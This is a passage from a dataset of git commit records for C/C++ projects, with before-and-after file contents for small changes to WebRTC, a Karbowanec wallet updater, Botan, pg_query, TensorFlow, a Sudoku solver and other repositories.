{\n  AimdRemoteRateControl() : enabled(false) {}\n  explicit AimdRemoteRateControl(bool set_enabled)\n    : enabled(set_enabled) {}\n  virtual ~AimdRemoteRateControl() {}\n\n  const bool enabled;\n};\n}  \/\/ namespace webrtc\n#endif  \/\/ WEBRTC_EXPERIMENTS_H_\n","subject":"Remove no longer used SkipEncodingUnusedStreams.","message":"Remove no longer used SkipEncodingUnusedStreams.\n\nR=andrew@webrtc.org\n\nReview URL: https:\/\/webrtc-codereview.appspot.com\/18829004\n\ngit-svn-id: 03ae4fbe531b1eefc9d815f31e49022782c42458@6753 4adac7df-926f-26a2-2b94-8c16560cd09d\n","lang":"C","license":"bsd-3-clause","repos":"jgcaaprom\/android_external_chromium_org_third_party_webrtc,android-ia\/platform_external_chromium_org_third_party_webrtc,android-ia\/platform_external_chromium_org_third_party_webrtc,jgcaaprom\/android_external_chromium_org_third_party_webrtc,MIPS\/external-chromium_org-third_party-webrtc,geekboxzone\/lollipop_external_chromium_org_third_party_webrtc,MIPS\/external-chromium_org-third_party-webrtc,android-ia\/platform_external_chromium_org_third_party_webrtc,geekboxzone\/lollipop_external_chromium_org_third_party_webrtc,Omegaphora\/external_chromium_org_third_party_webrtc,Omegaphora\/external_chromium_org_third_party_webrtc,jgcaaprom\/android_external_chromium_org_third_party_webrtc,geekboxzone\/lollipop_external_chromium_org_third_party_webrtc,geekboxzone\/lollipop_external_chromium_org_third_party_webrtc,geekboxzone\/lollipop_external_chromium_org_third_party_webrtc,Omegaphora\/external_chromium_org_third_party_webrtc,Omegaphora\/external_chromium_org_third_party_webrtc,Omegaphora\/external_chromium_org_third_party_webrtc,geekboxzone\/lollipop_external_chromium_org_third_party_webrtc,Omegaphora\/external_chromium_org_third_party_webrtc,geekboxzone\/lollipop_external_chromium_org_third_party_webrtc,Omegaphora\/external_chromium_org_third_party_webrtc,MIPS\/external-chromium_org-third_party-webrtc,geekboxzone\/lollipop_external_chromium_org_third_party_webrtc,jgcaaprom\/android_external_chromium_org_third_party_webrtc,jgcaaprom\/android_external_chromium_org_third_party_webrtc,MIPS\/external-chromium_org-third_party-webrtc,android-ia\/platform_external_chromium_org_third_party_webrtc,android-ia\/platform_external_chromium_org_third_party_webrtc,MIPS\/external-chromium_org-third_party-webrtc,jgcaaprom\/android_external_chromium_org_third_party_webrtc,Omegaphora\/external_chromium_org_third_party_webrtc,android-ia\/platform_external_chromium_org_third_party_webrtc,MIPS\/external-chromium_org-third_party-webrtc,MIPS\/external-chromium_org-third_party-webrtc,android-ia\/platform_external_chromium_org_third_party_webrtc,MIPS\/external-chromium_org-third_party-webrtc,android-ia\/platform_external_chromium_org_third_party_webrtc,jgcaaprom\/android_external_chromium_org_third_party_webrtc,jgcaaprom\/android_external_chromium_org_third_party_webrtc"}
{"commit":"452dbb09e2fd05a8f9fcfa300dd12ceefe9bf8ab","old_file":"src\/Update.h","new_file":"src\/Update.h","old_contents":"\/\/ Copyright (c) 2016-2020 The Karbowanec developers\n\/\/ Distributed under the MIT\/X11 software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#ifndef UPDATE_H\n#define UPDATE_H\n\n#include <QObject>\n#include <QNetworkAccessManager>\n#include <QNetworkRequest>\n#include <QNetworkReply>\n#include <QUrl>\n\nconst static QString KARBO_UPDATE_URL   = \"https:\/\/api.github.com\/repos\/Karbovanets\/karbowanecwallet\/tags\";\nconst static QString KARBO_DOWNLOAD_URL = \"https:\/\/github.com\/Karbovanets\/karbowanecwallet\/releases\/\";\n\nclass Updater : public QObject\n{\n    Q_OBJECT\npublic:\n    explicit Updater(QObject *parent = 0);\n\n    ~Updater() {\n        delete manager;\n    }\n\n    void checkForUpdate();\n\nsignals:\n    \npublic slots:\n    void replyFinished (QNetworkReply *reply);\n\nprivate:\n   QNetworkAccessManager *manager;\n\n};\n\n#endif \/\/ UPDATE_H\n","new_contents":"\/\/ Copyright (c) 2016-2020 The Karbowanec developers\n\/\/ Distributed under the MIT\/X11 software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#ifndef UPDATE_H\n#define UPDATE_H\n\n#include <QObject>\n#include <QNetworkAccessManager>\n#include <QNetworkRequest>\n#include <QNetworkReply>\n#include <QUrl>\n\nconst static QString KARBO_UPDATE_URL   = \"https:\/\/api.github.com\/repos\/seredat\/karbowanecwallet\/tags\";\nconst static QString KARBO_DOWNLOAD_URL = \"https:\/\/github.com\/seredat\/karbowanecwallet\/releases\/\";\n\nclass Updater : public QObject\n{\n    Q_OBJECT\npublic:\n    explicit Updater(QObject *parent = 0);\n\n    ~Updater() {\n        delete manager;\n    }\n\n    void checkForUpdate();\n\nsignals:\n    \npublic slots:\n    void replyFinished (QNetworkReply *reply);\n\nprivate:\n   QNetworkAccessManager *manager;\n\n};\n\n#endif \/\/ UPDATE_H\n","subject":"Change repository urls to proper for this version","message":"Change repository urls to proper for this version\n","lang":"C","license":"mit","repos":"seredat\/karbowanecwallet,seredat\/karbowanecwallet,seredat\/karbowanecwallet"}
{"commit":"465934742bafb175501c12cc2b8ebfe9bd732e3b","old_file":"src\/common.c","new_file":"src\/common.c","old_contents":"#define BASE_SPEED_FULL   127\n\nvoid base_set(int fr, int br, int bl, int fl);\nvoid base_set(int power);\n\nvoid dump_set(int x);\n\nvoid lift_set(int x);\n\n#define LCD_BUTTON_LEFT   1\n#define LCD_BUTTON_CENTER 2\n#define LCD_BUTTON_RIGHT  4\n#define LCD_BUTTON_NONE   0\n#define LCD_LINE_TOP      0\n#define LCD_LINE_BOTTOM   1\n\nvoid lcd_voltage(void);\nvoid lcd_clear(void);\n","new_contents":"#define BASE_SPEED_FULL   127\n\nvoid base_set(int fr, int br, int bl, int fl);\nvoid base_set(int power);\n\nvoid dump_set(int x);\n\nvoid lift_set(int x);\n\n#define LCD_BUTTON_LEFT   1\n#define LCD_BUTTON_CENTER 2\n#define LCD_BUTTON_RIGHT  4\n#define LCD_BUTTON_NONE   0\n#define LCD_LINE_TOP      0\n#define LCD_LINE_BOTTOM   1\n\nvoid lcd_voltage(void);\nvoid lcd_clear(void);\n\n\n\n\/\/ Get rid of annoying \"unreferenced function\" warnings\nstatic void DO_NOT_CALL_THIS_FUNCTION(void) {\n\n    DO_NOT_CALL_THIS_FUNCTION();\n    UserControlCodePlaceholderForTesting();\n    AutonomousCodePlaceholderForTesting();\n\n}\n","subject":"Remove annoying \"unreferenced function\" warnings","message":"Remove annoying \"unreferenced function\" warnings\n","lang":"C","license":"mit","repos":"qsctr\/vex-4194b-2016"}
{"commit":"8c79cb12cffdb76543fa79455083ad1daef89194","old_file":"shaderDefines.h","new_file":"shaderDefines.h","old_contents":"#define ATTR_POS   0\n#define ATTR_UV    1\n#define ATTR_COLOR 2\n\n\n#define TEXUNIT_TEMP 0\n#define TEXUNIT_COLOR 1\n#define TEXUNIT_AREATEX 2\n#define TEXUNIT_SEARCHTEX 3\n#define TEXUNIT_EDGES 4\n#define TEXUNIT_BLEND 5\n\n\n#ifdef __cplusplus\n\nstruct Globals\n\n#else  \/\/ __cplusplus\n\nlayout(binding = 0, std140) uniform Globals\n\n#endif  \/\/ __cplusplus\n{\n\tvec4 screenSize;\n\tmat4 viewProj;\n\tmat4 guiOrtho;\n};\n\n\nstruct Cube {\n\tvec4 rotation;\n\tvec3 position;\n\tunsigned int color;\n};\n","new_contents":"#define ATTR_POS   0\n#define ATTR_UV    1\n#define ATTR_COLOR 2\n\n\n#define TEXUNIT_TEMP 0\n#define TEXUNIT_COLOR 1\n#define TEXUNIT_AREATEX 2\n#define TEXUNIT_SEARCHTEX 3\n#define TEXUNIT_EDGES 4\n#define TEXUNIT_BLEND 5\n\n\n#ifdef __cplusplus\n\nstruct Globals\n\n#else  \/\/ __cplusplus\n\nlayout(binding = 0, std140) uniform Globals\n\n#endif  \/\/ __cplusplus\n{\n\tvec4 screenSize;\n\tmat4 viewProj;\n\tmat4 guiOrtho;\n};\n\n\nstruct Cube {\n\tvec4 rotation;\n\tvec3 position;\n\tuint color;\n};\n","subject":"Change \"unsigned int\" -> \"uint\" for better GLSL compatibility","message":"Change \"unsigned int\" -> \"uint\" for better GLSL compatibility\n","lang":"C","license":"mit","repos":"turol\/smaaDemo,turol\/smaaDemo,turol\/smaaDemo,turol\/smaaDemo,turol\/smaaDemo,turol\/smaaDemo,turol\/smaaDemo,turol\/smaaDemo,turol\/smaaDemo,turol\/smaaDemo,turol\/smaaDemo"}
{"commit":"655f3d4c389dbcb1e23c2ba425ccfd85234f6fce","old_file":"include\/rng.h","new_file":"include\/rng.h","old_contents":"\/*************************************************\n* RandomNumberGenerator Header File              *\n* (C) 1999-2008 Jack Lloyd                       *\n*************************************************\/\n\n#ifndef BOTAN_RANDOM_NUMBER_GENERATOR__\n#define BOTAN_RANDOM_NUMBER_GENERATOR__\n\n#include <botan\/exceptn.h>\n\nnamespace Botan {\n\n\/*************************************************\n* Entropy Source                                 *\n*************************************************\/\nclass BOTAN_DLL EntropySource\n   {\n   public:\n      virtual u32bit slow_poll(byte[], u32bit) = 0;\n      virtual u32bit fast_poll(byte[], u32bit);\n      virtual ~EntropySource() {}\n   };\n\n\/*************************************************\n* Random Number Generator                        *\n*************************************************\/\nclass BOTAN_DLL RandomNumberGenerator\n   {\n   public:\n      virtual void randomize(byte[], u32bit) throw(PRNG_Unseeded) = 0;\n      virtual bool is_seeded() const = 0;\n      virtual void clear() throw() {};\n\n      byte next_byte();\n\n      void add_entropy(const byte[], u32bit);\n      u32bit add_entropy(EntropySource&, bool = true);\n\n      virtual ~RandomNumberGenerator() {}\n   private:\n      virtual void add_randomness(const byte[], u32bit) = 0;\n   };\n\n}\n\n#endif\n","new_contents":"\/*************************************************\n* RandomNumberGenerator Header File              *\n* (C) 1999-2008 Jack Lloyd                       *\n*************************************************\/\n\n#ifndef BOTAN_RANDOM_NUMBER_GENERATOR__\n#define BOTAN_RANDOM_NUMBER_GENERATOR__\n\n#include <botan\/exceptn.h>\n\nnamespace Botan {\n\n\/*************************************************\n* Entropy Source                                 *\n*************************************************\/\nclass BOTAN_DLL EntropySource\n   {\n   public:\n      virtual u32bit slow_poll(byte[], u32bit) = 0;\n      virtual u32bit fast_poll(byte[], u32bit);\n      virtual ~EntropySource() {}\n   };\n\n\/*************************************************\n* Random Number Generator                        *\n*************************************************\/\nclass BOTAN_DLL RandomNumberGenerator\n   {\n   public:\n      virtual void randomize(byte[], u32bit) = 0;\n      virtual bool is_seeded() const = 0;\n      virtual void clear() throw() {};\n\n      byte next_byte();\n\n      void add_entropy(const byte[], u32bit);\n      u32bit add_entropy(EntropySource&, bool = true);\n\n      virtual ~RandomNumberGenerator() {}\n   private:\n      virtual void add_randomness(const byte[], u32bit) = 0;\n   };\n\n}\n\n#endif\n","subject":"Remove exception specifier from RandomNumberGenerator::randomize","message":"Remove exception specifier from RandomNumberGenerator::randomize\n","lang":"C","license":"bsd-2-clause","repos":"Rohde-Schwarz-Cybersecurity\/botan,randombit\/botan,randombit\/botan,webmaster128\/botan,randombit\/botan,Rohde-Schwarz-Cybersecurity\/botan,Rohde-Schwarz-Cybersecurity\/botan,webmaster128\/botan,webmaster128\/botan,webmaster128\/botan,webmaster128\/botan,randombit\/botan,Rohde-Schwarz-Cybersecurity\/botan,Rohde-Schwarz-Cybersecurity\/botan,randombit\/botan,Rohde-Schwarz-Cybersecurity\/botan"}
{"commit":"743a89c5c27c3c17b87af5df8c381d95b00f2f42","old_file":"pg_query.c","new_file":"pg_query.c","old_contents":"#include \"pg_query.h\"\n#include \"pg_query_internal.h\"\n\nconst char* progname = \"pg_query\";\n\nvoid pg_query_init(void)\n{\n\tMemoryContextInit();\n}\n","new_contents":"#include \"pg_query.h\"\n#include \"pg_query_internal.h\"\n#include <mb\/pg_wchar.h>\n\nconst char* progname = \"pg_query\";\n\nvoid pg_query_init(void)\n{\n\tMemoryContextInit();\n\tSetDatabaseEncoding(PG_UTF8);\n}\n","subject":"Set database encoding to UTF8.","message":"Set database encoding to UTF8.\n\nFixes error when parsing this statement:\n\nSELECT U&'\\0441\\043B\\043E\\043D'\n\nThe error is:\n\nUnicode escape values cannot be used for code point values above\n007F when the server encoding is not UTF8.\n\nPerhapes there could be an API to set the encoding used by the\nparser. But I think it makes sense to use UTF8 by default.\n","lang":"C","license":"bsd-3-clause","repos":"lfittl\/libpg_query,ranxian\/peloton-frontend,lfittl\/libpg_query,lfittl\/libpg_query,ranxian\/peloton-frontend,ranxian\/peloton-frontend,ranxian\/peloton-frontend,ranxian\/peloton-frontend"}
{"commit":"b3cc864f59fe9edd44a3407e9ab814323cfb424a","old_file":"cc1\/tests\/test032.c","new_file":"cc1\/tests\/test032.c","old_contents":"","new_contents":"\n\/*\nname: TEST032\ndescription: test special characters @ and $ in macro definitions\noutput:\nF3\tI\nG4\tF3\tmain\n{\n\\\nA6\tP\tp\n\tA6\t\"54686973206973206120737472696E672024206F722023206F72202323616E64206974206973206F6B2021\t'P\t:P\n\tr\tA6\t#P0\t!I\n}\n*\/\n\n#define M1(x) \"This is a string $ or # or ##\" ## #x\n\nint\nmain(void)\n{\n\tchar *p = M1(and it is ok!);\n\n\treturn p != 0;\n}\n\n","subject":"Add test for special characters in macro definition","message":"Add test for special characters in macro definition\n\n@ and $ only can appear in strings or in characters,\nand cc1 use them for special purposes in macro\ndefinitions. Test that it is ok is they are in\na macro (character test should be done to).\n","lang":"C","license":"isc","repos":"k0gaMSX\/scc,8l\/scc,k0gaMSX\/scc,k0gaMSX\/kcc,8l\/scc,k0gaMSX\/kcc,k0gaMSX\/scc,8l\/scc"}
{"commit":"a83e22d75dfffd2003fa7ebdeb35a9ca3a6731ec","old_file":"src\/lib\/llist.h","new_file":"src\/lib\/llist.h","old_contents":"#ifndef LLIST_H\n#define LLIST_H\n\n\/* Doubly linked list *\/\n#define DLLIST_PREPEND(list, item) STMT_START { \\\n\t(item)->prev = NULL; \\\n\t(item)->next = *(list); \\\n\tif (*(list) != NULL) (*(list))->prev = (item); \\\n\t*(list) = (item); \\\n\t} STMT_END\n\n#define DLLIST_REMOVE(list, item) STMT_START { \\\n\tif ((item)->prev == NULL) \\\n\t\t*(list) = (item)->next; \\\n\telse \\\n\t\t(item)->prev->next = (item)->next; \\\n\tif ((item)->next != NULL) \\\n\t\t(item)->next->prev = (item)->prev; \\\n\t} STMT_END\n\n#endif\n","new_contents":"#ifndef LLIST_H\n#define LLIST_H\n\n\/* Doubly linked list *\/\n#define DLLIST_PREPEND(list, item) STMT_START { \\\n\t(item)->prev = NULL; \\\n\t(item)->next = *(list); \\\n\tif (*(list) != NULL) (*(list))->prev = (item); \\\n\t*(list) = (item); \\\n\t} STMT_END\n\n#define DLLIST_REMOVE(list, item) STMT_START { \\\n\tif ((item)->prev == NULL) \\\n\t\t*(list) = (item)->next; \\\n\telse \\\n\t\t(item)->prev->next = (item)->next; \\\n\tif ((item)->next != NULL) { \\\n\t\t(item)->next->prev = (item)->prev; \\\n\t\t(item)->next = NULL; \\\n\t} \\\n\t(item)->prev = NULL; \\\n\t} STMT_END\n\n#endif\n","subject":"Set removed item's prev\/next pointers to NULL.","message":"DLLIST_REMOVE(): Set removed item's prev\/next pointers to NULL.\n","lang":"C","license":"mit","repos":"LTD-Beget\/dovecot,LTD-Beget\/dovecot,LTD-Beget\/dovecot,LTD-Beget\/dovecot,LTD-Beget\/dovecot"}
{"commit":"33de317e5a27d5dfc368cc0488c12b42236183e8","old_file":"tensorflow\/core\/lib\/core\/threadpool_interface.h","new_file":"tensorflow\/core\/lib\/core\/threadpool_interface.h","old_contents":"\/* Copyright 2019 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#ifndef TENSORFLOW_CORE_LIB_CORE_THREADPOOL_INTERFACE_H_\n#define TENSORFLOW_CORE_LIB_CORE_THREADPOOL_INTERFACE_H_\n\n#define EIGEN_USE_THREADS\n\n#include \"third_party\/eigen3\/unsupported\/Eigen\/CXX11\/Tensor\"\n\nnamespace tensorflow {\nnamespace thread {\n\nclass ThreadPoolInterface : public Eigen::ThreadPoolInterface {};\n\n}  \/\/ namespace thread\n}  \/\/ namespace tensorflow\n\n#endif  \/\/ TENSORFLOW_CORE_LIB_CORE_THREADPOOL_INTERFACE_H_\n","new_contents":"\/* Copyright 2019 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#ifndef TENSORFLOW_CORE_LIB_CORE_THREADPOOL_INTERFACE_H_\n#define TENSORFLOW_CORE_LIB_CORE_THREADPOOL_INTERFACE_H_\n\n#ifndef EIGEN_USE_THREADS\n#define EIGEN_USE_THREADS\n#endif\n\n#include \"third_party\/eigen3\/unsupported\/Eigen\/CXX11\/Tensor\"\n\nnamespace tensorflow {\nnamespace thread {\n\nclass ThreadPoolInterface : public Eigen::ThreadPoolInterface {};\n\n}  \/\/ namespace thread\n}  \/\/ namespace tensorflow\n\n#endif  \/\/ TENSORFLOW_CORE_LIB_CORE_THREADPOOL_INTERFACE_H_\n","subject":"Define EIGEN_USE_THREADS only if it is not defined yet","message":"Define EIGEN_USE_THREADS only if it is not defined yet\n\nPiperOrigin-RevId: 253269616\n","lang":"C","license":"apache-2.0","repos":"renyi533\/tensorflow,xzturn\/tensorflow,petewarden\/tensorflow,DavidNorman\/tensorflow,davidzchen\/tensorflow,aldian\/tensorflow,jhseu\/tensorflow,cxxgtxy\/tensorflow,renyi533\/tensorflow,karllessard\/tensorflow,frreiss\/tensorflow-fred,freedomtan\/tensorflow,ppwwyyxx\/tensorflow,freedomtan\/tensorflow,alsrgv\/tensorflow,gautam1858\/tensorflow,yongtang\/tensorflow,yongtang\/tensorflow,petewarden\/tensorflow,gunan\/tensorflow,frreiss\/tensorflow-fred,ppwwyyxx\/tensorflow,adit-chandra\/tensorflow,karllessard\/tensorflow,karllessard\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,adit-chandra\/tensorflow,chemelnucfin\/tensorflow,karllessard\/tensorflow,adit-chandra\/tensorflow,yongtang\/tensorflow,davidzchen\/tensorflow,annarev\/tensorflow,chemelnucfin\/tensorflow,tensorflow\/tensorflow,aldian\/tensorflow,aam-at\/tensorflow,petewarden\/tensorflow,arborh\/tensorflow,ppwwyyxx\/tensorflow,chemelnucfin\/tensorflow,arborh\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,yongtang\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,frreiss\/tensorflow-fred,freedomtan\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,gunan\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,Intel-Corporation\/tensorflow,karllessard\/tensorflow,gunan\/tensorflow,adit-chandra\/tensorflow,Intel-tensorflow\/tensorflow,jhseu\/tensorflow,arborh\/tensorflow,freedomtan\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,annarev\/tensorflow,xzturn\/tensorflow,tensorflow\/tensorflow,chemelnucfin\/tensorflow,sarvex\/tensorflow,DavidNorman\/tensorflow,petewarden\/tensorflow,aam-at\/tensorflow,sarvex\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,jhseu\/tensorflow,ppwwyyxx\/tensorflow,petewarden\/tensorflow,karllessard\/tensorflow,alsrgv\/tensorflow,arborh\/tensorflow,alsrgv\/tensorflow,gautam1858\/tensorflow,davidzchen\/tensorflow,sarvex\/tensorflow,Intel-Corporation\/tensorflow,davidzchen\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,tensorflow\/tensorflow-pywrap_saved_model,gunan\/tensorflow,adit-chandra\/tensorflow,aam-at\/tensorflow,chemelnucfin\/tensorflow,freedomtan\/tensorflow,chemelnucfin\/tensorflow,annarev\/tensorflow,alsrgv\/tensorflow,ppwwyyxx\/tensorflow,karllessard\/tensorflow,chemelnucfin\/tensorflow,DavidNorman\/tensorflow,gautam1858\/tensorflow,karllessard\/tensorflow,petewarden\/tensorflow,frreiss\/tensorflow-fred,adit-chandra\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,annarev\/tensorflow,jhseu\/tensorflow,karllessard\/tensorflow,tensorflow\/tensorflow,alsrgv\/tensorflow,arborh\/tensorflow,sarvex\/tensorflow,freedomtan\/tensorflow,tensorflow\/tensorflow,xzturn\/tensorflow,petewarden\/tensorflow,xzturn\/tensorflow,alsrgv\/tensorflow,jhseu\/tensorflow,gautam1858\/tensorflow,cxxgtxy\/tensorflow,alsrgv\/tensorflow,renyi533\/tensorflow,Intel-tensorflow\/tensorflow,annarev\/tensorflow,gautam1858\/tensorflow,aam-at\/tensorflow,davidzchen\/tensorflow,paolodedios\/tensorflow,Intel-Corporation\/tensorflow,aldian\/tensorflow,arborh\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,paolodedios\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,gautam1858\/tensorflow,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,DavidNorman\/tensorflow,gautam1858\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,renyi533\/tensorflow,ppwwyyxx\/tensorflow,alsrgv\/tensorflow,alsrgv\/tensorflow,gunan\/tensorflow,xzturn\/tensorflow,frreiss\/tensorflow-fred,alsrgv\/tensorflow,Intel-Corporation\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,paolodedios\/tensorflow,tensorflow\/tensorflow,gunan\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,tensorflow\/tensorflow-experimental_link_static_libraries_once,cxxgtxy\/tensorflow,paolodedios\/tensorflow,freedomtan\/tensorflow,davidzchen\/tensorflow,gautam1858\/tensorflow,DavidNorman\/tensorflow,aldian\/tensorflow,tensorflow\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,Intel-tensorflow\/tensorflow,gautam1858\/tensorflow,adit-chandra\/tensorflow,yongtang\/tensorflow,jhseu\/tensorflow,xzturn\/tensorflow,alsrgv\/tensorflow,jhseu\/tensorflow,jhseu\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,Intel-Corporation\/tensorflow,ppwwyyxx\/tensorflow,Intel-tensorflow\/tensorflow,gautam1858\/tensorflow,yongtang\/tensorflow,cxxgtxy\/tensorflow,adit-chandra\/tensorflow,xzturn\/tensorflow,cxxgtxy\/tensorflow,yongtang\/tensorflow,arborh\/tensorflow,DavidNorman\/tensorflow,tensorflow\/tensorflow,aam-at\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,davidzchen\/tensorflow,paolodedios\/tensorflow,paolodedios\/tensorflow,ppwwyyxx\/tensorflow,jhseu\/tensorflow,adit-chandra\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,davidzchen\/tensorflow,paolodedios\/tensorflow,aldian\/tensorflow,annarev\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,aam-at\/tensorflow,annarev\/tensorflow,aam-at\/tensorflow,Intel-tensorflow\/tensorflow,renyi533\/tensorflow,frreiss\/tensorflow-fred,frreiss\/tensorflow-fred,freedomtan\/tensorflow,yongtang\/tensorflow,alsrgv\/tensorflow,jhseu\/tensorflow,freedomtan\/tensorflow,chemelnucfin\/tensorflow,tensorflow\/tensorflow,frreiss\/tensorflow-fred,ppwwyyxx\/tensorflow,chemelnucfin\/tensorflow,renyi533\/tensorflow,Intel-tensorflow\/tensorflow,freedomtan\/tensorflow,arborh\/tensorflow,Intel-tensorflow\/tensorflow,renyi533\/tensorflow,frreiss\/tensorflow-fred,tensorflow\/tensorflow-pywrap_tf_optimizer,cxxgtxy\/tensorflow,cxxgtxy\/tensorflow,aam-at\/tensorflow,adit-chandra\/tensorflow,aldian\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,gautam1858\/tensorflow,Intel-Corporation\/tensorflow,frreiss\/tensorflow-fred,arborh\/tensorflow,sarvex\/tensorflow,aam-at\/tensorflow,aam-at\/tensorflow,DavidNorman\/tensorflow,chemelnucfin\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,tensorflow\/tensorflow-pywrap_saved_model,DavidNorman\/tensorflow,Intel-tensorflow\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,xzturn\/tensorflow,sarvex\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,annarev\/tensorflow,gunan\/tensorflow,arborh\/tensorflow,ppwwyyxx\/tensorflow,gunan\/tensorflow,davidzchen\/tensorflow,paolodedios\/tensorflow,sarvex\/tensorflow,aam-at\/tensorflow,annarev\/tensorflow,davidzchen\/tensorflow,renyi533\/tensorflow,Intel-tensorflow\/tensorflow,chemelnucfin\/tensorflow,annarev\/tensorflow,gunan\/tensorflow,Intel-tensorflow\/tensorflow,yongtang\/tensorflow,Intel-Corporation\/tensorflow,renyi533\/tensorflow,Intel-Corporation\/tensorflow,petewarden\/tensorflow,adit-chandra\/tensorflow,petewarden\/tensorflow,davidzchen\/tensorflow,jhseu\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,sarvex\/tensorflow,xzturn\/tensorflow,tensorflow\/tensorflow,gunan\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,aldian\/tensorflow,aam-at\/tensorflow,arborh\/tensorflow,jhseu\/tensorflow,xzturn\/tensorflow,renyi533\/tensorflow,tensorflow\/tensorflow,yongtang\/tensorflow,gunan\/tensorflow,paolodedios\/tensorflow,renyi533\/tensorflow,ppwwyyxx\/tensorflow,freedomtan\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,davidzchen\/tensorflow,DavidNorman\/tensorflow,DavidNorman\/tensorflow,DavidNorman\/tensorflow,frreiss\/tensorflow-fred,petewarden\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,arborh\/tensorflow,freedomtan\/tensorflow,petewarden\/tensorflow,cxxgtxy\/tensorflow,paolodedios\/tensorflow,tensorflow\/tensorflow,renyi533\/tensorflow,aldian\/tensorflow,paolodedios\/tensorflow,DavidNorman\/tensorflow,gunan\/tensorflow,chemelnucfin\/tensorflow,petewarden\/tensorflow,tensorflow\/tensorflow-experimental_link_static_libraries_once,karllessard\/tensorflow,annarev\/tensorflow,frreiss\/tensorflow-fred,adit-chandra\/tensorflow,karllessard\/tensorflow,ppwwyyxx\/tensorflow,yongtang\/tensorflow,gautam1858\/tensorflow,xzturn\/tensorflow,xzturn\/tensorflow"}
{"commit":"0a2f80571ac2077fdfe3eebbfe1b0f624a9cae2a","old_file":"SudokuStart01\/Sudoku9by9SolverAnalyzer.h","new_file":"SudokuStart01\/Sudoku9by9SolverAnalyzer.h","old_contents":"","new_contents":"\/\/\n\/\/\tSudoku 9by9 Solver and Analyzer\n\/\/\n\n#include \"Sudoku9by9Board.h\"\n\nclass Sudoku9by9SolverAnalyzer\n{\nprivate:\n\tSudoku9by9Board *board_ptr;\n\tint number_of_solutions;\npublic:\n\tSudoku9by9SolverAnalyzer();\n\tSudoku9by9SolverAnalyzer(Sudoku9by9Board *board_ptr);\n\tbool NextTryOrBackTrack(int i, int j, bool backtrack);\n\tvoid Solve(void);\n\tbool Check_Conflicts(int p, int i, int j);\n\tint get_number_of_solutions(void);\n\t~Sudoku9by9SolverAnalyzer();\n};","subject":"Create separate Solver Analyzer class","message":"Create separate Solver Analyzer class\n","lang":"C","license":"mit","repos":"gitguy101\/SudokuStartxx"}
{"commit":"73d73eeaa0fdd21bfb1592e2f7066590ef7ee920","old_file":"uranus_dp\/include\/uranus_dp\/control_mode_enum.h","new_file":"uranus_dp\/include\/uranus_dp\/control_mode_enum.h","old_contents":"#ifndef CONTROL_MODE_ENUM_H\n#define CONTROL_MODE_ENUM_H\n\nnamespace ControlModes\n{\nenum ControlMode\n{\n  OPEN_LOOP = 0,\n  SIXDOF    = 1,\n  RPY_DEPTH = 2\n};\n}\ntypedef ControlModes::ControlMode ControlMode;\n\n#endif\n","new_contents":"#ifndef CONTROL_MODE_ENUM_H\n#define CONTROL_MODE_ENUM_H\n\nnamespace ControlModes\n{\nenum ControlMode\n{\n  OPEN_LOOP  = 0,\n  SIXDOF     = 1,\n  RPY_DEPTH  = 2,\n  DEPTH_HOLD = 3\n};\n}\ntypedef ControlModes::ControlMode ControlMode;\n\n#endif\n","subject":"Add depth hold mode to enum","message":"Add depth hold mode to enum\n","lang":"C","license":"mit","repos":"vortexntnu\/rov-control,vortexntnu\/rov-control,vortexntnu\/rov-control"}
